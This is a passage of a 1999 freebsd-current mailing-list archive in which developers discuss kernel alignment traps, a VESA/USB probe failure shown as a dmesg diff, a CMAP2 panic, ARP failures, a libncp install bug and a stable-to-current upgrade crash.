"unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Oct 28 18:51:36 1999 Delivered-To: freebsd-current@freebsd.org Received: from alcanet.com.au (border.alcanet.com.au [203.62.196.10]) by hub.freebsd.org (Postfix) with ESMTP id 26FB3154E8 for ; Thu, 28 Oct 1999 18:51:20 -0700 (PDT) (envelope-from jeremyp@gsmx07.alcatel.com.au) Received: by border.alcanet.com.au id <40359>; Fri, 29 Oct 1999 11:46:07 +1000 Content-return: prohibited Date: Fri, 29 Oct 1999 11:51:05 +1000 From: Peter Jeremy Subject: Re: odd NFS behaviour with DU 4.F client In-reply-to: <199910290103.SAA13818@apollo.backplane.com> To: Matthew Dillon Cc: freebsd-current@FreeBSD.ORG Reply-To: peter.jeremy@alcatel.com.au Message-Id: <99Oct29.114607est.40359@border.alcanet.com.au> MIME-version: 1.0 X-Mailer: Mutt 1.0pre3i Content-type: text/plain; charset=us-ascii References: <14360.50663.727201.679421@grasshopper.cs.duke.edu> <199910282225.PAA12530@apollo.backplane.com> <14360.60247.329457.247327@grasshopper.cs.duke.edu> <199910290103.SAA13818@apollo.backplane.com> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 1999-Oct-29 11:03:20 +1000, Matthew Dillon wrote: > Unfortunately, we just don't see these sorts > of panics on Intel boxes all that much because IA32 allows misaligned > accesses. This means there are almost certainly alignment bugs in the > code. You can enable user-mode alignment traps on the IA32. Check out EFLAGS bit 18 and the AM bit in CR0 - unfortunately, it doesn't seem to work for ring 0, 1, 2 so you can't find alignment problems in the kernel. Peter To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Oct 28 19:28: 1 1999 Delivered-To: freebsd-current@freebsd.org Received: from cheddar.netmonger.net (cheddar.netmonger.net [209.54.21.140]) by hub.freebsd.org (Postfix) with ESMTP id B93B114D96 for ; Thu, 28 Oct 1999 19:27:53 -0700 (PDT) (envelope-from chris@cheddar.netmonger.net) Received: (from chris@localhost) by cheddar.netmonger.net (8.8.8/8.8.8) id WAA10697; Thu, 28 Oct 1999 22:27:49 -0400 (EDT) Message-ID: <19991028222748.A10530@netmonger.net> Date: Thu, 28 Oct 1999 22:27:48 -0400 From: Christopher Masto To: usb-bsd@egroups.com, current@freebsd.org Subject: VESA module breaks USB? Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.91.1i Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I just upgraded my play machine from a month-old or so -current, and I've found that my OHCI-based USB controller fails to probe correctly iff the VESA module is loaded. I present the two sets of boot messages, in unidiff format. --- /tmp/dmesg.good Thu Oct 28 18:08:44 1999 +++ /tmp/dmesg.bad Thu Oct 28 18:06:30 1999 @@ -1,348 +1,361 @@ Copyright (c) 1992-1999 The FreeBSD Project. Copyright (c) 1982, 1986, 1989, 1991, 1993 The Regents of the University of California. All rights reserved. FreeBSD 4.0-CURRENT #0: Thu Oct 28 21:10:03 EDT 1999 root@wensleydale.netmonger.net:/usr/src/sys/compile/LION-AROUND -Calibrating clock(s) ... TSC clock: 166193070 Hz, i8254 clock: 1193182 Hz +Calibrating clock(s) ... TSC clock: 166192685 Hz, i8254 clock: 1193179 Hz CLK_USE_I8254_CALIBRATION not specified - using default frequency Timecounter "i8254" frequency 1193182 Hz CLK_USE_TSC_CALIBRATION not specified - using old calibration method CPU: Pentium/P54C (166.19-MHz 586-class CPU) Origin = "GenuineIntel" Id = 0x52c Stepping = 12 Features=0x1bf real memory = 100663296 (98304K bytes) Physical memory chunk(s): 0x00001000 - 0x0009efff, 647168 bytes (158 pages) -0x0031e000 - 0x05ffbfff, 97378304 bytes (23774 pages) +0x00324000 - 0x05ffbfff, 97353728 bytes (23768 pages) sio0: gdb debugging port -avail memory = 94334976 (92124K bytes) +avail memory = 94310400 (92100K bytes) bios32: Found BIOS32 Service Directory header at 0xc00f7d60 bios32: Entry = 0xf77b0 (c00f77b0) Rev = 0 Len = 1 pcibios: PCI BIOS entry at 0x77e0 pnpbios: Found PnP BIOS data at 0xc00fbd20 pnpbios: Entry = f0000:bd50 Rev = 1.0 pnpbios: OEM ID cd041 Other BIOS signatures found: ACPI: 00000000 -Preloaded elf kernel "kernel" at 0xc0305000. +Preloaded elf kernel "kernel" at 0xc030b000. +Preloaded elf module "vesa.ko" at 0xc030b0a8. Intel Pentium detected, installing workaround for F00F bug +VESA: information block +56 45 53 41 02 01 9e 4b 00 c0 00 00 00 00 c8 4b +00 c0 40 00 00 00 00 00 00 00 00 00 00 00 00 00 +00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +VESA: 32 mode(s) found +VESA: v1.2, 4096k memory, flags:0x0, mode table:0xc00c4bc8 (c0004bc8) +VESA: Number Nine Visual Technology Corporation Math emulator present pci_open(1): mode 1 addr port (0x0cf8) is 0x8000005c pci_open(1a): mode1res=0x80000000 (0x80000000) pci_cfgcheck: device 0 [class=060000] [hdr=00] is there (id=12508086) -npx0: on motherboard -npx0: INT 16 interface -i586_bzero() bandwidth = 173550850 bytes/sec -bzero() bandwidth = 736377025 bytes/sec apm0: on motherboard apm: found APM BIOS v1.2, connected at v1.2 +npx0: on motherboard +npx0: INT 16 interface +i586_bzero() bandwidth = 173520735 bytes/sec +bzero() bandwidth = 736919675 bytes/sec pci_open(1): mode 1 addr port (0x0cf8) is 0x00000000 pci_open(1a): mode1res=0x80000000 (0x80000000) pci_cfgcheck: device 0 [class=060000] [hdr=00] is there (id=12508086) pcib0: on motherboard found-> vendor=0x8086, dev=0x1250, revid=0x03 class=06-00-00, hdrtype=0x00, mfdev=0 subordinatebus=0 secondarybus=0 found-> vendor=0x8086, dev=0x7000, revid=0x01 class=06-01-00, hdrtype=0x00, mfdev=1 subordinatebus=0 secondarybus=0 found-> vendor=0x8086, dev=0x7010, revid=0x00 class=01-01-80, hdrtype=0x00, mfdev=0 subordinatebus=0 secondarybus=0 map[4]: type 1, range 32, base 0000e800, size 4 found-> vendor=0x1045, dev=0xc861, revid=0x10 class=0c-03-10, hdrtype=0x00, mfdev=0 subordinatebus=0 secondarybus=0 intpin=a, irq=9 map[0]: type 1, range 32, base fb000000, size 12 found-> vendor=0x5333, dev=0x883d, revid=0x02 class=03-00-00, hdrtype=0x00, mfdev=0 subordinatebus=0 secondarybus=0 intpin=a, irq=11 map[0]: type 1, range 32, base f4000000, size 26 pci0: on pcib0 isab0: at device 7.0 on pci0 I/O Recovery Timing: 8-bit 3.5 clocks, 16-bit 3.5 clocks Extended BIOS: disabled Lower BIOS: enabled Coprocessor IRQ13: enabled Mouse IRQ12: disabled Interrupt Routing: A: IRQ11, B: IRQ9, C: disabled, D: disabled MB0: IRQ15, MB1: Trying Read_Port at 203 Trying Read_Port at 243 CTL0042: start dependant CTL0042: adding irq mask 0x20 CTL0042: adding dma mask 0x2 CTL0042: adding dma mask 0x20 CTL0042: adding io range 0x220-0x22f, size=0x10, align=0x1 CTL0042: adding io range 0x330-0x331, size=0x2, align=0x1 CTL0042: adding io range 0x388-0x38b, size=0x4, align=0x1 CTL0042: start dependant CTL0042: adding irq mask 0x6a0 CTL0042: adding dma mask 0xb CTL0042: adding dma mask 0xe0 CTL0042: adding io range 0x220-0x28f, size=0x10, align=0x20 CTL0042: adding io range 0x300-0x331, size=0x2, align=0x30 CTL0042: adding io range 0x388-0x38b, size=0x4, align=0x1 CTL0042: start dependant CTL0042: adding irq mask 0x6a0 CTL0042: adding dma mask 0xb CTL0042: adding dma mask 0xe0 CTL0042: adding io range 0x220-0x28f, size=0x10, align=0x20 CTL0042: adding io range 0x300-0x331, size=0x2, align=0x30 CTL0042: start dependant CTL0042: adding irq mask 0x6a0 CTL0042: adding dma mask 0xb CTL0042: adding dma mask 0xe0 CTL0042: adding io range 0x220-0x28f, size=0x10, align=0x20 CTL0042: start dependant CTL0042: adding irq mask 0x6a0 CTL0042: adding dma mask 0xb CTL0042: adding io range 0x220-0x28f, size=0x10, align=0x20 CTL0042: adding io range 0x300-0x331, size=0x2, align=0x30 CTL0042: adding io range 0x388-0x38b, size=0x4, align=0x1 CTL0042: start dependant CTL0042: adding irq mask 0x6a0 CTL0042: adding dma mask 0xb CTL0042: adding io range 0x220-0x28f, size=0x10, align=0x20 CTL0042: adding io range 0x300-0x331, size=0x2, align=0x30 CTL0042: start dependant CTL0042: adding irq mask 0x6a0 CTL0042: adding dma mask 0xb CTL0042: adding io range 0x220-0x28f, size=0x10, align=0x20 CTL0042: start dependant CTL0042: adding irq mask 0x6a0 CTL0042: adding dma mask 0xb CTL0042: adding dma mask 0xe0 CTL0042: adding io range 0x220-0x28f, size=0x10, align=0x20 CTL0042: adding io range 0x300-0x331, size=0x2, align=0x10 CTL0042: adding io range 0x388-0x397, size=0x4, align=0x4 CTL0042: end dependant CTL7002: start dependant CTL7002: adding io range 0x200-0x207, size=0x8, align=0x1 CTL7002: start dependant CTL7002: adding io range 0x200-0x20f, size=0x8, align=0x8 CTL7002: end dependant CTL0022: start dependant CTL0022: adding io range 0x620-0x623, size=0x4, align=0x1 CTL0022: start dependant CTL0022: adding io range 0x620-0x683, size=0x4, align=0x20 CTL0022: end dependant isa0: on isab0 ata-pci0: at device 7.1 on pci0 ata-pci0: Busmastering DMA supported ata0: iobase=0x01f0 altiobase=0x03f6 ata0: mask=03 status0=50 status1=10 ata0: mask=03 status0=50 status1=10 ata0: devices = 0x9 ata0 at 0x01f0 irq 14 on ata-pci0 ata1: iobase=0x0170 altiobase=0x0376 ata1: mask=03 status0=50 status1=50 ata1: mask=03 status0=50 status1=00 ata1: devices = 0x9 ata1 at 0x0170 irq 15 on ata-pci0 ohci0: irq 9 at device 11.0 on pci0 ohci_init: start usb0: OHCI version 1.0, legacy support ohci_init: cold started usb0: resetting usb0: on ohci0 uhub0: OPTi OHCI root hub, class 9/0, rev 1.00/1.00, addr 1 uhub0: 2 ports with 2 removable, self powered -uhub1: Texas Instruments UT-USB41 hub, class 9/0, rev 1.00/1.00, addr 2 -uhub1: 4 ports with 4 removable, self powered +ohci_waitintr: timeout +ohci_waitintr: timeout +ohci_waitintr: timeout +ohci_waitintr: timeout +ohci_waitintr: timeout +usbd_new_device: addr=2, getting first desc failed +ohci_device_ctrl_close: pipe=0xc0a53000 +uhub_explore: usb_new_device failed, error=TIMEOUT +uhub0: device problem, disabling port 1 vga-pci0: irq 11 at device 12.0 on pci0 fdc0: at port 0x3f0-0x3f7 irq 6 drq 2 on isa0 fdc0: FIFO enabled, 8 bytes threshold fd0: <1440-KB 3.5" drive> on fdc0 drive 0 atkbdc0: at port 0x60-0x6f on isa0 atkbd0: irq 1 on atkbdc0 atkbd: the current kbd controller command byte 0047 atkbd: keyboard ID 0x41ab (2) kbdc: RESET_KBD return code:00fa kbdc: RESET_KBD status:00aa kbd0: atkbd0, AT 101/102 (2), config:0x0, flags:0x3d0000 psm0: current command byte:0047 kbdc: TEST_AUX_PORT status:0000 kbdc: RESET_AUX return code:00fa kbdc: RESET_AUX status:00aa kbdc: RESET_AUX ID:0000 psm: status 00 02 64 psm: status 00 03 06 psm: status 00 33 44 psm: status 00 33 44 psm: status 00 03 06 psm: data 08 00 00 psm: status 00 02 3c psm0: irq 12 on atkbdc0 psm0: model NetScroll Mouse, device ID 0-00, 4 buttons psm0: config:00000000, flags:00000000, packet size:6 psm0: syncmask:c8, syncbits:08 vga0: at port 0x3b0-0x3df iomem 0xa0000-0xbffff on isa0 -fb0: vga0, vga, type:VGA (5), flags:0x7007f +fb0: vga0, vga, type:VGA (5), flags:0x700ff fb0: port:0x3b0-0x3df, crtc:0x3d4, mem:0xa0000 0x20000 fb0: init mode:24, bios mode:3, current mode:24 fb0: window:0xc00b8000 size:32k gran:32k, buf:0 size:32k VGA parameters upon power-up 50 18 10 00 00 00 03 00 02 67 5f 4f 50 82 55 81 bf 1f 00 4f 0e 0f 00 00 07 80 9c 8e 8f 28 1f 96 b9 a3 ff 00 01 02 03 04 05 14 07 38 39 3a 3b 3c 3d 3e 3f 0c 00 0f 08 00 00 00 00 00 10 0e 00 ff VGA parameters in BIOS for mode 24 50 18 10 00 10 00 03 00 02 67 5f 4f 50 82 55 81 bf 1f 00 4f 0d 0e 00 00 00 00 9c 8e 8f 28 1f 96 b9 a3 ff 00 01 02 03 04 05 14 07 38 39 3a 3b 3c 3d 3e 3f 0c 00 0f 08 00 00 00 00 00 10 0e 00 ff EGA/VGA parameters to be used for mode 24 50 18 10 00 10 00 03 00 02 67 5f 4f 50 82 55 81 bf 1f 00 4f 0d 0e 00 00 00 00 9c 8e 8f 28 1f 96 b9 a3 ff 00 01 02 03 04 05 14 07 38 39 3a 3b 3c 3d 3e 3f 0c 00 0f 08 00 00 00 00 00 10 0e 00 ff sc0: on isa0 sc0: VGA <16 virtual consoles, flags=0x200> sc0: fb0 kbd0 sio0: irq maps: 0x61 0x71 0x61 0x61 sio0 at port 0x3f8-0x3ff irq 4 flags 0x90 on isa0 sio0: type 16550A sio1: irq maps: 0x61 0x69 0x61 0x61 sio1 at port 0x2f8-0x2ff irq 3 on isa0 sio1: type 16550A sio2: configured irq 10 not in bitmap of probed irqs 0 sio2: irq maps: 0x61 0x61 0x61 0x61 sio2: probe failed test(s): 0 1 2 4 6 7 9 ppc: parallel port found at 0x378 ppc: chipset forced to generic ppc0: ECP SPP ECP+EPP SPP ppc0 at port 0x378-0x37f irq 7 flags 0x40 on isa0 ppc0: SMC-like chipset (ECP/EPP/PS2/NIBBLE) in COMPATIBLE mode ppc0: FIFO with 16/16/16 bytes threshold plip: irq 7 plip0: on ppbus 0 bpf: lp0 attached lpt0: on ppbus 0 lpt0: Interrupt-driven port ppi0: on ppbus 0 1 3C5x9 board(s) on ISA found at 0x300 ep0 at port 0x300-0x30f irq 10 on isa0 ep0: utp[*UTP*] address 00:60:97:a3:63:e6 bpf: ep0 attached sb_probe: no addr, trying (0x220, 0x240) -mss_probe: no address given, try 0x530 -mss_detect, busy still set (0xff) -mss_detect, busy still set (0xff) pcm1: at port 0x220-0x22f,0x330-0x331,0x388-0x38b irq 5 drq 1,5 on isa0 -pcm: setmap 30000, ff00; 0xc6d13000 -> 30000 -pcm: setmap 40000, ff00; 0xc6d23000 -> 40000 +pcm: setmap 30000, ff00; 0xc6d11000 -> 30000 +pcm: setmap 40000, ff00; 0xc6d21000 -> 40000 unknown0: at port 0x200-0x207 on isa0 unknown1: at port 0x620-0x623 on isa0 BIOS Geometries: 0:026a7f3f 0..618=619 cylinders, 0..127=128 heads, 1..63=63 sectors 1:03fe1f3f 0..1022=1023 cylinders, 0..31=32 heads, 1..63=63 sectors 0 accounted for Device configuration finished. Considering MFS root f/s. No MFS image available as root f/s. -IP packet filtering initialized, divert disabled, rule-based forwarding enabled, logging limited to 100 packets/entry by default -DUMMYNET initialized (990811) -bpf: sl0 attached +bpf: lo0 attached bpf: ppp0 attached new masks: bio 4008c240, tty 400310ba, net 400714ba -bpf: lo0 attached +bpf: sl0 attached +DUMMYNET initialized (990811) +IP packet filtering initialized, divert disabled, rule-based forwarding enabled, logging limited to 100 packets/entry by default ep0 XXX: driver didn't set ifq_maxlen ata0: master: success setting up WDMA2 mode on PIIX4 chip ad0: piomode=4 dmamode=2 udmamode=-1 ad0: ATA-? disk at ata0 as master ad0: 2441MB (4999680 sectors), 4960 cyls, 16 heads, 63 S/T, 512 B/S ad0: 16 secs/int, 0 depth queue, DMA Creating DISK ad0 Creating DISK wd0 ata1: master: success setting up WDMA2 mode on PIIX4 chip ad1: piomode=4 dmamode=2 udmamode=2 ad1: ATA-4 disk at ata1 as master ad1: 9617MB (19696320 sectors), 19540 cyls, 16 heads, 63 S/T, 512 B/S ad1: 16 secs/int, 0 depth queue, DMA Creating DISK ad1 Creating DISK wd1 ata0-slave: piomode=4 dmamode=2 udmamode=-1 dmaflag=1 ata0: slave: success setting up WDMA2 mode on PIIX4 chip atapi: starting MODE_SENSE_BIG atapi: ccb = 5a-00-2a-00-00-00-00-00-1e-00-00-00-00-00-00-00 atapi_interrupt: enter atapi_interrupt: length=30 reason=0x03 atapi_interrupt: read size problem, 30 bytes residue atapi_interrupt: error=0x60 atapi: starting REQUEST_SENSE atapi: ccb = 03-00-00-00-12-00-00-00-00-00-00-00-00-00-00-00 atapi_interrupt: enter atapi_interrupt: length=18 reason=0x0a atapi_interrupt: enter atapi_interrupt: length=18 reason=0x03 atapi: MODE_SENSE_BIG - UNIT ATTENTION skey=6 asc=29 ascq=00 error=00 atapi_interrupt: error=0x60 atapi: phew, got back from tsleep atapi: acd: mode sense 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00 atapi: starting MODE_SENSE_BIG atapi: ccb = 5a-00-2a-00-00-00-00-00-1e-00-00-00-00-00-00-00 atapi_interrupt: enter atapi_interrupt: length=30 reason=0x0a atapi_interrupt: enter atapi_interrupt: length=30 reason=0x03 atapi_interrupt: error=0x00 atapi: phew, got back from tsleep atapi: acd: mode sense 00-1c-02-00-00-00-00-00-2a-14-07-07-71-67-2d-01-04-23-00-80-02-00-04-23-00-00-01-61-01-61 acd0: CDROM drive at ata0 as slave acd0: read 1034KB/s (1034KB/s) write 344KB/s (344KB/s), 512KB buffer, DMA acd0: supported read types: CD-R, CD-RW, CD-DA, packet acd0: supported write types: CD-R, CD-RW, test write acd0: Audio: play, 128 volume levels acd0: Mechanism: ejectable tray acd0: Medium: CD-ROM 120mm audio disc loaded, unlocked, lock protected ata1-slave: piomode=4 dmamode=2 udmamode=-1 dmaflag=1 ata1: slave: success setting up WDMA2 mode on PIIX4 chip atapi: starting MODE_SENSE atapi: ccb = 1a-08-2a-00-18-00-00-00-00-00-00-00-00-00-00-00 atapi_interrupt: enter atapi_interrupt: length=24 reason=0x0a atapi_interrupt: enter atapi_interrupt: length=24 reason=0x03 atapi_interrupt: error=0x00 atapi: phew, got back from tsleep ast0: tape drive at ata1 as slave ast0: 2097KB/s, transfer limit 1 blk, 2048KB buffer, DMA ast0: OnStream ADR (15Gyte) media, lock, eject, ecc, 32kb atapi: starting MODE_SENSE atapi: ccb = 1a-08-30-00-08-00-00-00-00-00-00-00-00-00-00-00 atapi_interrupt: enter atapi_interrupt: length=8 reason=0x0a atapi_interrupt: enter atapi_interrupt: length=8 reason=0x03 atapi_interrupt: error=0x00 atapi: phew, got back from tsleep atapi: starting MODE_SENSE atapi: ccb = 1a-08-36-00-0c-00-00-00-00-00-00-00-00-00-00-00 atapi_interrupt: enter atapi_interrupt: length=12 reason=0x0a atapi_interrupt: enter atapi_interrupt: length=12 reason=0x03 atapi_interrupt: error=0x00 atapi: phew, got back from tsleep atapi: starting MODE_SELECT atapi: ccb = 15-10-00-00-0c-00-00-00-00-00-00-00-00-00-00-00 atapi_interrupt: enter atapi_interrupt: length=12 reason=0x08 atapi_interrupt: enter atapi_interrupt: length=12 reason=0x03 atapi_interrupt: error=0x00 atapi: phew, got back from tsleep atapi: starting READ_POSITION atapi: ccb = 34-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00 atapi_interrupt: enter atapi_interrupt: length=20 reason=0x03 atapi_interrupt: read size problem, 20 bytes residue atapi_interrupt: error=0x24 atapi: starting REQUEST_SENSE atapi: ccb = 03-00-00-00-12-00-00-00-00-00-00-00-00-00-00-00 atapi_interrupt: enter atapi_interrupt: length=16 reason=0x0a atapi_interrupt: enter atapi_interrupt: length=16 reason=0x03 atapi_interrupt: read size problem, 2 bytes residue atapi: READ_POSITION - NOT READY skey=2 asc=3a ascq=00 error=04 atapi_interrupt: error=0x24 atapi: phew, got back from tsleep Considering FFS root f/s. changing root device to wd0s1a wd0s1: type 0xa5, start 0, end = 4999679, size 4999680 : OK start_init: trying /sbin/init -- Christopher Masto Senior Network Monkey NetMonger Communications chris@netmonger.net info@netmonger.net http://www.netmonger.net Free yourself, free your machine, free the daemon -- http://www.freebsd.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Oct 28 20:13:36 1999 Delivered-To: freebsd-current@freebsd.org Received: from mailman.zeta.org.au (mailman.zeta.org.au [203.26.10.16]) by hub.freebsd.org (Postfix) with ESMTP id E1A8414D21 for ; Thu, 28 Oct 1999 20:13:32 -0700 (PDT) (envelope-from bde@zeta.org.au) Received: from p54-ts5.syd2.zeta.org.au (beefcake.zeta.org.au [203.26.10.12]) by mailman.zeta.org.au (8.8.7/8.8.7) with ESMTP id NAA25169; Fri, 29 Oct 1999 13:17:53 +1000 Date: Fri, 29 Oct 1999 13:13:21 +1000 (EST) From: Bruce Evans X-Sender: bde@alphplex.bde.org To: Luoqi Chen Cc: current@FreeBSD.ORG, khetan@os.org.za Subject: Re: CMAP2 busy ? In-Reply-To: <199910282058.QAA28372@lor.watermarkgroup.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, 28 Oct 1999, Luoqi Chen wrote: > > ... > > panic: pmap_zero_page: CMAP2 busy > > > It looked like an interrupt hit when the cpu was in an idle loop replenishing > zero filled pages, and the interrupt handler somehow also tried to zero some > pages itself. In vm_page_zero_idle(), pmap_zero_page should be called > at splvm() to prevent this from happening, or allocate another pte exclusively > for the idle loop. The latter seems to be preferable. It is an error to use CMAP2 in an interrupt handler. CMAP2 is reserved for use in process and trap context. E.g., it is used in pmap_copy_page() which is often called from vm_fault() without any spl protection. Bruce To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Oct 28 22:41: 2 1999 Delivered-To: freebsd-current@freebsd.org Received: from okstate.edu (email.okstate.edu [139.78.96.96]) by hub.freebsd.org (Postfix) with SMTP id 339BC14D1B for ; Thu, 28 Oct 1999 22:40:55 -0700 (PDT) (envelope-from @x8b4e5067.dhcp.okstate.edu:p0n@dali.dhs.org) Received: from x8b4e5067.dhcp.okstate.edu by email.okstate.edu id aa04628; 29 Oct 99 00:20 CDT From: "Phil 0. Nature" To: freebsd-current@freebsd.org MMDF-Warning: Parse error in original version of preceding line at email.okstate.edu Subject: ARP Failure Date: Fri, 29 Oct 1999 00:28:51 -0500 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6400 Importance: Normal Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I'm sorry I don't have logs to include with this, but after booting with the current kernel and system (as of Oct 28 14:52), I kept getting arp lookup failures on every address, didn't experience anything else out of the ordinary. Any ideas as to what's wrong? (If you need the actual error messages let me know and I'll recreate them) -- Phil 0. Nature --BEGIN GEEK CODE BLOCK----- Version: 3.1 GIT d++ s+:+ a C+++ UB+++ P+ L++ E- W++ N+ o+ K- w O- M-- V PS-- PE++ Y+ PGP t+ 5+ X R- tv- b++ DI+ D G e++ h---- r+++ y++++ ------END GEEK CODE BLOCK------ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Oct 28 22:44: 0 1999 Delivered-To: freebsd-current@freebsd.org Received: from mailman.zeta.org.au (mailman.zeta.org.au [203.26.10.16]) by hub.freebsd.org (Postfix) with ESMTP id 343F914D40 for ; Thu, 28 Oct 1999 22:43:56 -0700 (PDT) (envelope-from bde@zeta.org.au) Received: from p54-ts5.syd2.zeta.org.au (beefcake.zeta.org.au [203.26.10.12]) by mailman.zeta.org.au (8.8.7/8.8.7) with ESMTP id PAA05877 for ; Fri, 29 Oct 1999 15:48:24 +1000 Date: Fri, 29 Oct 1999 15:43:51 +1000 (EST) From: Bruce Evans X-Sender: bde@alphplex.bde.org To: current@freebsd.org Subject: bogus libncp header installation Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG `make beforeinstall' in libncp corrupts the source tree (or fails with EROFS) in the SHARED=symlinks case. It installs headers in /usr/include/netncp -> ../../sys/netncp. Headers that belong in should just be in the source tree for netncp. Bruce To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Oct 28 22:56: 0 1999 Delivered-To: freebsd-current@freebsd.org Received: from rip.psg.com (rip.psg.com [147.28.0.39]) by hub.freebsd.org (Postfix) with ESMTP id DFB0E15509 for ; Thu, 28 Oct 1999 22:55:56 -0700 (PDT) (envelope-from randy@psg.com) Received: from randy by rip.psg.com with local (Exim 3.03 #1) id 11h512-0000Dz-00 for freebsd-current@freebsd.org; Thu, 28 Oct 1999 22:55:56 -0700 From: Randy Bush MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: FreeBSD Current Subject: -stable to -current Message-Id: Date: Thu, 28 Oct 1999 22:55:56 -0700 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG trying to take a system from stable to current. o cvsup current o try makeworld but get cc -c -O -pipe -I/usr/src/gnu/lib/libgcc/../../../contrib/egcs/gcc/config -I/usr/src/gnu/lib/libgcc/../../../contrib/egcs/gcc -I. -fexceptions -DIN_GCC -I/usr/obj/usr/src/tmp/usr/include -DL_ashrsi3 -o _ashrsi3.o /usr/src/gnu/lib/libgcc/../../../contrib/egcs/gcc/libgcc1.c *** Error code 140 *** Error code 140 *** Error code 140 *** Error code 140 *** Error code 140 *** Error code 140 cc -c -O -pipe -I/usr/src/gnu/lib/libgcc/../../../contrib/egcs/gcc/config -I/usr/src/gnu/lib/libgcc/../../../contrib/egcs/gcc -I. -fexceptions -DIN_GCC -I/usr/obj/usr/src/tmp/usr/include -DL_ashlsi3 -o _ashlsi3.o /usr/src/gnu/lib/libgcc/../../../contrib/egcs/gcc/libgcc1.c Bad system call - core dumped *** Error code 140 Bad system call - core dumped *** Error code 140 o so build -current binary for config o update kernel config file to -current o config a -current kernel o make a -current kernel o install -current kernel o reboot o crash in init after configuring network, but was too fast to capture o but i think that the last line of the boot tells the story, see below so what's the upgrade path? randy Copyright (c) 1992-1999 The FreeBSD Project. Copyright (c) 1982, 1986, 1989, 1991, 1993 The Regents of the University of California. All rights reserved. FreeBSD 4.0-CURRENT #0: Thu Oct 28 22:40:51 PDT 1999 root@rip.psg.com:/usr/src/sys/compile/RIP Timecounter "i8254" frequency 1193182 Hz CPU: Pentium II/Xeon/Celeron (300.68-MHz 686-class CPU) Origin = "GenuineIntel" Id = 0x651 Stepping = 1 Features=0x183fbff real memory = 134205440 (131060K bytes) avail memory = 127012864 (124036K bytes) Programming 24 pins in IOAPIC #0 FreeBSD/SMP: Multiprocessor motherboard cpu0 (BSP): apic id: 1, version: 0x00040011, at 0xfee00000 cpu1 (AP): apic id: 0, version: 0x00040011, at 0xfee00000 io0 (APIC): apic id: 2, version: 0x00170011, at 0xfec00000 Preloaded elf kernel "kernel" at 0xc02e6000. Pentium Pro MTRR support enabled ccd0-5: Concatenated disk drivers npx0: on motherboard npx0: INT 16 interface pcib0: on motherboard pci0: on pcib0 pcib1: at device 1.0 on pci0 pci1: on pcib1 vga-pci0: irq 16 at device 0.0 on pci1 isab0: at device 4.0 on pci0 isa0: unexpected tag 14 isa0: on isab0 chip1: at device 4.1 on pci0 chip2: irq 19 at device 4.2 on pci0 Timecounter "PIIX" frequency 3579545 Hz chip3: at device 4.3 on pci0 ahc0: irq 19 at device 6.0 on pci0 ahc0: aic7890/91 Wide Channel A, SCSI Id=7, 16/255 SCBs fxp0: irq 19 at device 9.0 on pci0 fxp0: Ethernet address 00:a0:c9:df:c8:4e pci0: unknown card (vendor=0x109e, dev=0x036e) at 10.0 irq 18 pci0: unknown card (vendor=0x109e, dev=0x0878) at 10.1 irq 18 fdc0: at port 0x3f0-0x3f7 irq 6 drq 2 on isa0 fdc0: FIFO enabled, 8 bytes threshold fd0: <1440-KB 3.5" drive> on fdc0 drive 0 atkbdc0: at port 0x60-0x6f on isa0 atkbd0: irq 1 on atkbdc0 psm0: irq 12 on atkbdc0 psm0: model Generic PS/2 mouse, device ID 0 vga0: at port 0x3b0-0x3df iomem 0xa0000-0xbffff on isa0 sc0: on isa0 sc0: VGA <16 virtual consoles, flags=0x200> sio0 at port 0x3f8-0x3ff irq 4 flags 0x10 on isa0 sio0: type 16550A sio1 at port 0x2f8-0x2ff irq 3 on isa0 sio1: type 16550A wl0 at port 0x300-0x30f irq 7 on isa0 wl0: address 08:00:6a:2b:dd:cb, NWID 0xaaaa pcm0: at port 0x220-0x22f,0x330-0x331,0x388-0x38b irq 5 drq 1,5 on isa0 unknown0: at port 0x200-0x207 on isa0 unknown1: at port 0x620-0x623 on isa0 APIC_IO: Testing 8254 interrupt delivery APIC_IO: routing 8254 via pin 2 wl0 XXX: driver didn't set ifq_maxlen Waiting 5 seconds for SCSI devices to settle SMP: AP CPU #1 Launched! Creating DISK da0 Creating DISK da1 sa0 at ahc0 bus 0 target 6 lun 0 sa0: Removable Sequential Access SCSI-2 device sa0: 5.000MB/s transfers (5.000MHz, offset 15) Creating DISK cd0 Creating DISK cd1 changing root device to da0s1a da0 at ahc0 bus 0 target 0 lun 0 da0: Fixed Direct Access SCSI-2 device da0: 80.000MB/s transfers (40.000MHz, offset 15, 16bit), Tagged Queueing 